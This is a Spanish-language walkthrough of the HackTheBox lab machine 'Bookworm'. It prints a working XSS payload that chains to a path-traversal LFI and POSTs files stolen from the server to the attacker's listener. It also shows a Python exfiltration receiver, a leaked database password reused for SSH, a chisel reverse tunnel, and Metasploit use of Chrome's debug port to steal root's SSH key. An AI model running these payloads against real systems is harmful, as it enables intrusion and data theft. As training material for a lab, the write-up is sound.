Bookworm es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bookworm 10.129.89.241 a /etc/hosts como bookworm.htb y comenzamos con el escaneo de puertos nmap.
Empezamos con un escaneo simple y rápido para detectar los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.129.89.241 Nmap scan report for 10.129.89.241 Host is up, received user-set (0.035s latency). Scanned at 2023-05-28 09:36:25 GMT for 13s Not shown: 65161 closed tcp ports (reset), 372 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun May 28 09:36:38 2023 -- 1 IP address (1 host up) scanned in 12.90 seconds |
Y continuamos por un escaneo más extenso sobre los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -p 80,22 -sVC -oA enumeration/nmap2 10.129.89.241 Nmap scan report for bookworm.htb (10.129.89.241) Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 81:1d:22:35:dd:21:15:64:4a:1f:dc:5c:9c:66:e5:e2 (RSA) | 256 01:f9:0d:3c:22:1d:94:83:06:a4:96:7a:01:1c:9e:a1 (ECDSA) |_ 256 64:7d:17:17:91:79:f6:d7:c4:87:74:f8:a2:16:f7:cf (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Bookworm |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 28 09:37:19 2023 -- 1 IP address (1 host up) scanned in 9.40 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente página de venta de libros

Debido a que no tenemos una cuenta, nos creamos una, accedemos y veremos la siguiente página que muestra el catálogo de libros a la venta

Observamos también las actualizaciones recientes en el lado derecho de la página, y que si vamos revisando, cambian cada pocos minutos, lo que puede ser de ayuda más adelante.
Si revisamos el código fuente de la página, podemos observar, que estos bots disponen de un id, que cambia con cada actualización:
|
1 2 3 4 5 |
<div class="row mb-2"> <!-- 563 --> <div class="col-3"><img class="img-fluid" src="/static/img/uploads/5"/></div> <div class="col-9"><strong>Angus Gardener</strong> just added <a href="/shop/2">The Pirate Woman</a> to their basket!<p class="mb-0 text-muted">53 seconds ago</p></div> </div> |
Revisamos el portal y vemos varias cosillas interesantes:
- Através del avatar es posible subir cualquier fichero, siempre y cuando la extensión sea jpg, jpeg o png, ya que no realiza ningún tipo de comprobación extra.
- Es posible escribir notas en los pedidos realizados, por lo que puede ser un punto de entrada para la ejecución de un XSS
Así que para la prueba subimos un simple fichero con extensión png a nuestro avatar y añadimos a la nota la carga de nuestro avatar

Y vemos que funciona, por lo que es vulnerable. Además, si revisamos la nota que aparece, nos da a entender que es posible descargar los libros, por lo que es posible que se encuentren en alguna ruta.
Visto esto, y después de algunas vueltas y pruebas nos realizamos un script en js que recoja los pedidos de los usuarios, obtenga las rutas de descarga de los ficheros pdf y nos lo envíe a nuestra máquina, además, y siguiendo con todo esto descubrimos que el parámetro de descarga de los pdfs es vulnerable a LFI por lo que nos ayudará a obtener los ficheros existentes en el servidor.
Explotando la vulnerabilidad de LFI
Bueno, siguiendo con lo dicho necesitaremos varias partes para nuestro script:
- Obtener los pedidos de los usuarios para tratar de obtener los enlaces de descarga de los mismos
- Editar el enlace de descarga para poder explotar el LFI
- Una vez obtenidos los datos, enviar los enlaces y el contenido de los mismos a nuestra escucha por POST, con el fin de poder exfiltrar información del servidor
Vistos los puntos necesarios, nuestro script quedaría así:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
function get_orders(html_page) { const parser = new DOMParser(); const htmlString = html_page; const doc = parser.parseFromString(htmlString, 'text/html'); const orderLinks = doc.querySelectorAll('tbody a'); const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href')); return orderUrls; } function getDownloadURL(html) { const container = document.createElement('div'); container.innerHTML = html; const downloadLink = container.querySelector('a[href^="/download"]'); const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null; return downloadURL; } function fetch_url_to_attacker(url) { var attacker = "http://10.10.14.21/?url=" + encodeURIComponent(url); fetch(url).then(async (response) => { fetch(attacker, { method: 'POST', body: await response.arrayBuffer() }); }); } async function get_pdf(url) { const response = await fetch(url); const html = await response.text(); const downloadURL = getDownloadURL(html); if (downloadURL) { fetch_url_to_attacker(downloadURL); } } fetch("http://10.10.14.21/?trying2"); fetch("http://bookworm.htb/profile") .then(async (response) => { const html = await response.text(); const orders = get_orders(html); for (const path of orders) { const fullUrl = "http://bookworm.htb" + path; fetch_url_to_attacker(fullUrl); get_pdf(fullUrl); } }); |
Si nos fijamos en la siguiente línea, necesitamos indicar el parámetro bookIds 2 veces para que el LFI funcione
|
1 |
const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null; |
Ahora que ya tenemos claro nuestro script lo subiremos al avatar de nuestro usuario, simplemente debemos cambiar la extensión por una de las permitidas.
Levantaremos nuestro servidor en python, que en mi caso, he utilizado el siguiente script:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
#!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) self._set_response() self.wfile.write("GET request for {}".format(self.path).encode('utf-8')) def do_POST(self): content_length = int(self.headers['Content-Length']) # <--- Gets the size of data post_data = self.rfile.read(content_length) # <--- Gets the data itself #logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def run(server_class=HTTPServer, handler_class=S, port=80): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run() |
El siguiente paso será añadir la nota con la carga de nuestro avatar a las notas de los bots que vimos anteriormente, para ello, y en mi caso, he utilizado burp para enviar la petición al id de la compra del bot

Completados estos pasos, esperamos unos segundos a que el bot complete la compra y tendremos el resultado en nuestra escucha

Para la conversión lo cargamos en un simple script en python:
|
1 2 3 4 5 |
import sys resultado=b"PK\x03\x04\n\x00\x00\x00\x00\x00H|\xa3V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00Unknown.pdf/PK\x03\x04\x14\x00\x08\x00\x08\x00Be\xa3V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00Unknown.pdf\xb5TMo\xda@\x10=\xd7\xbfb\xe4\x13\x91\x90\x93\x90C%GVE\x8a\x1bQ\x11S%4jO\xd5\xe2\x9d\xc0\x8ae\xc7\xecG(\x8d\xfc\xdf\xab5_\xa6\xc5I\xaa\xa8\xa75~\xcc\xf3{3o''e,<\xc1\x1d.\x1cJ\xf1\x0b\xdbpC\x1ce\x1bz\xcc\xb2\xd1\xaa@\x03%$\xa0q\xe1\x84\xc6Vh\xb6\x7f\x0cO.\x83\xe0\xf44\xaf\x08vo!\x01\x85\xcb=]+4\x0b),\xc6\xf1\x1c\xe7\xa4Wq\xec\xeb^*\n\x00\nM9\x1a\x13\xa1z\x8c\xb2a/\xfd\x91f\xf7\x90$\t\x84\x85&\xeer+H\x85\x01\x00\xc0\x07x\xaaN\xff\xcc\x05\x93\x98\xdb\x18\xc29\xd3\x82\xf1q\xd8\xfe\x13\x1b\x16\xbe\xd4\xc4\xb5*\x80)\x19_t\xdey\x1f\x9dEg\xd1y\xad\x0c\xc0\x19\xd41\x84c\xa2\xd9\x92\xf4\xfc\x00\xe3\xcc\xb213\xd8\x84\x17\xcc\x98%i\x1eC\xf8I35\x1bM/>\xd3\xf8Z<\xa2\xae\xf1\x94\xed\xe0\x1d\x80\xa4\xc9D\xa8I\x0c\x0fL\x1a\xdc\n/+\x031\xfc\xdd\xc8\xc0O`\xdd\xca\xaf\x065$\xb0\x1bC\xc4\xf1A(l\x85\x1e\x08\xdb\x95W\xc5\xe6\xb8umW\x05\xc6\xfb\x11Gw\xa3\xdb~v\xdd\xea\x9c\x9d\xac?\xcb\xa4\xa4e\xe6\xa4\xac\x89)=\xe4{\xf1/DN\x89\x85\xc3\x18\xacv\x1bG\x8d\xd4\xfbV\xad\xe7\xd9\xa0\xf1\xa2\xf3\x92F\xf6\xc8,\xd3\xcf[}\xc1&\xe3\\\xa31\x03\xa1\xf0\xfcy\xa2W\xf4\xacF\xd6y3\x99\xa5\xa5z3IA\xc6\xe6\xc4\xdf\x1a\x87r\x1f\xc0+ffhSe\xf5\xeah\x0ek\xf8&\x8e>I}^\x0fa?\x1b\xa5\xd7\xe9\xad\x1f\x8d\xbfk\x8d\xe0\xc21e\x85]5\xd4*\xb2G\xb2\xdd\x0e\xeaj\x89f\xc7e\x12\xcd6\xfa\xac\xb0\xf2(\x0f\x00G\x93kQ\xed\x91\xba\x86Q\xfam\xe4\xc5\x17Z\xe4\x07\x95\xbd\xf4c\xff\xa6;\xf0\x98\x98\xb3\xc9\x01\xb6\xbey\x1eb\xceNI\xd7\t\xf7\x98+\xf2\xe3@\xe1\xc6R\x98i\x8f\x1dz\xeeuG\xe90\x1b|\xf7\xbc\x92\xa9\x89k\xf8j\xad'C\xcd\x1bvH\x85\xbcfjf*\x8aB\xa8Iw}{\xea\x8a\xb7\xbd\xb1d\x99\xfc\xf2L\x83r\xa6z\xb4T\x92\x18o\x8a\xf9\xd5p8H\xbb\x99\xf7\x06pl\x9d\xf8\t=0'\xed=\x93~\xf9\xec\xf6iy\x90\x82\xca\x97\xbf\xe2G\xa3\xb0C7\xce\xc9\xf7\xa71\x93\xff-\xb0s\xe2Nb\x84?\x0b\xd2\xd6@R\xad\xf2\xdd\x9e\xf7=\xf0+\xde\x9fWD\xb3\xea\xdc_E\xff\xb3\xf2\xb1{\xf0v\xdbAy\x19\xfc\x06PK\x07\x08\x0c\xe6p\xb4\x87\x02\x00\x00\xf9\x07\x00\x00PK\x01\x02-\x03\n\x00\x00\x00\x00\x00H|\xa3V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\xedA\x00\x00\x00\x00Unknown.pdf/PK\x01\x02-\x03\x14\x00\x08\x00\x08\x00Be\xa3V\x0c\xe6p\xb4\x87\x02\x00\x00\xf9\x07\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\xed\x81*\x00\x00\x00Unknown.pdfPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00s\x00\x00\x00\xea\x02\x00\x00\x00\x00" with open("fichero.zip", "wb") as f: f.write(resultado) |
Y ya tendremos generado el fichero zip
|
1 2 |
$ file fichero.zip fichero.zip: Zip archive data, at least v1.0 to extract, compression method=store |
Así que revisaremos su contenido
|
1 2 3 4 5 6 7 8 |
$ unzip -v fichero.zip Archive: fichero.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2023-05-03 15:34 00000000 Unknown.pdf/ 2043 Defl:N 784 62% 2023-05-03 16:57 1e9f9a73 Unknown.pdf -------- ------- --- ------- 2043 784 62% 2 files |
Extraemos los datos
|
1 2 3 4 5 |
$ unzip fichero.zip Archive: fichero.zip replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r new name: a.pdf inflating: a.pdf |
Y si revisamos el pdf generado vemos que tenemos el contenido del fichero passwd
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ cat a.pdf root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false frank:x:1001:1001:,,,:/home/frank:/bin/bash neil:x:1002:1002:,,,:/home/neil:/bin/bash mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:997:997::/var/log/laurel:/bin/false |
Hemos visto que funciona correctamente, así que el siguiente paso será descargar el fichero raíz de la aplicación, situado en la ruta
|
1 |
../../../../../../../../proc/self/cwd/index.js |
Si revisamos el contenido del mismo, obtenemos dos líneas interesantes
|
1 2 |
const { sequelize, User, Book, BasketEntry, Order, OrderLine } = require("./database"); const { hashPassword, verifyPassword } = require("./utils"); |
El fichero index carga dos archivos más, database y utils así que puede ir por ahí la cosa.
Descargamos el fichero de database y dentro del mismo encontramos una password
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
//const sequelize = new Sequelize("sqlite::memory::"); const sequelize = new Sequelize( process.env.NODE_ENV === "production" ? { dialect: "mariadb", dialectOptions: { host: "127.0.0.1", user: "bookworm", database: "bookworm", password: "FrankTh3JobGiver", }, logging: false, } : "sqlite::memory::" ); |
Revisando los usuarios existentes en el sistema, probamos y conseguimos entrar con el usuario frank
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ ssh frank@bookworm.htb frank@bookworm.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-149-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue 30 May 2023 02:40:29 PM UTC System load: 0.0 Usage of /: 83.6% of 6.24GB Memory usage: 18% Swap usage: 0% Processes: 240 Users logged in: 0 IPv4 address for eth0: 10.129.89.255 IPv6 address for eth0: dead:beef::250:56ff:fe96:100c Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update frank@bookworm:~$ id uid=1001(frank) gid=1001(frank) groups=1001(frank) |
Obteniendo la flag de user
Una vez dentro, simplemente cogemos la flag
|
1 2 3 |
frank@bookworm:~$ cat user.txt 0exxxxxxxxxxxxxxxxxxxxxxxxxxxx58 frank@bookworm:~$ |
Escalado de privilegios (Forma no intencionada)
Revisamos los procesos que están corriendo en el sistema con pspy y encontramos uno muy interesante

Se trata del navegador google-chrome corriendo en la máquina, y que además utiliza un puerto para hacer el debug, por lo que puede ser nuestra puerta hacia root.
Buscamos en google y encontramos un módulo para metasploit que es capaz de explotar un LFI a través del debugger de chrome, así que lanzamos nuestro metasploit y cargamos el módulo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
use auxiliary/gather/checkpoint_hostname use auxiliary/gather/chrome_debugger msf6 > use auxiliary/gather/chrome_debugger msf6 auxiliary(gather/chrome_debugger) > show options Module options (auxiliary/gather/chrome_debugger): Name Current Setting Required Description ---- --------------- -------- ----------- FILEPATH no File to fetch from remote machine. RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 9222 yes The target port (TCP) TIMEOUT 10 yes Time to wait for response URL no Url to fetch from remote machine. msf6 auxiliary(gather/chrome_debugger) > |
Establecemos el path, que en este caso será la clave ssh de root
|
1 2 |
msf6 auxiliary(gather/chrome_debugger) > set filepath /root/.ssh/id_ed25519 filepath => /root/.ssh/id_ed25519 |
Debido a que el puerto está corriendo localmente en la máquina tendremos que usar chisel para acceder al mismo desde nuestro kali, así que buscamos el puerto en cuestión
|
1 2 3 4 5 6 7 8 9 |
frank@bookworm:~$ ss -ntlup|grep LISTEN tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:* tcp LISTEN 0 10 127.0.0.1:46169 0.0.0.0:* tcp LISTEN 0 511 127.0.0.1:3001 0.0.0.0:* tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 128 [::]:22 [::]:* |
Y tunelizamos el mismo con chisel, así que abrimos el servidor en nuestro kali
|
1 2 3 4 |
$ ./chisel server -p 9000 --reverse 2023/05/31 13:47:52 server: Reverse tunnelling enabled 2023/05/31 13:47:52 server: Fingerprint yH7xx3u5HL2fyVsnLSExpmPU++r478RShrcKs+RC82Y= 2023/05/31 13:47:52 server: Listening on http://0.0.0.0:9000 |
Y nos enviamos el puerto
|
1 2 3 |
frank@bookworm:~$ ./chisel client 10.10.14.21:9000 R:46169:127.0.0.1:46169 & [1] 71322 2023/05/31 14:01:50 client: Connected (Latency 44.108538ms) |
Una vez hecho, configuramos las variables restantes en metasploit
|
1 2 3 4 |
msf6 auxiliary(gather/chrome_debugger) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf6 auxiliary(gather/chrome_debugger) > set rport 46169 rport => 45449 |
Y ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 |
msf6 auxiliary(gather/chrome_debugger) > run [*] Running module against 127.0.0.1 [*] Attempting Connection to ws://127.0.0.1:33583/devtools/page/5B183422607CC1E2BAA3F8C14D49479B [*] Opened connection [*] Attempting to load url file:///root/.ssh/id_ed25519 [*] Received Data [*] Sending request for data [*] Received Data [+] Stored file:///root/.ssh/id_ed25519 at /home/asdf/.msf4/loot/20230531140624_default_127.0.0.1_chrome.debugger._557072.txt [*] Auxiliary module execution completed |
Y si revisamos el contenido del fichero que ha generado, tendremos la clave ssh de root.
Obteniendo la flag de root
Ahora que ya tenemos la clave, accedemos por ssh y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ssh -i root.pem root@bookworm.htb Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-149-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 31 May 2023 02:06:54 PM UTC System load: 0.0 Usage of /: 81.8% of 6.24GB Memory usage: 18% Swap usage: 0% Processes: 246 Users logged in: 1 IPv4 address for eth0: 10.129.89.66 IPv6 address for eth0: dead:beef::250:56ff:fe96:8d40 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed May 24 12:03:57 2023 from 10.10.14.4 root@bookworm:~# id uid=0(root) gid=0(root) groups=0(root) root@bookworm:~# cat root.txt b6xxxxxxxxxxxxxxxxxxxxxxxxxxx71 root@bookworm:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










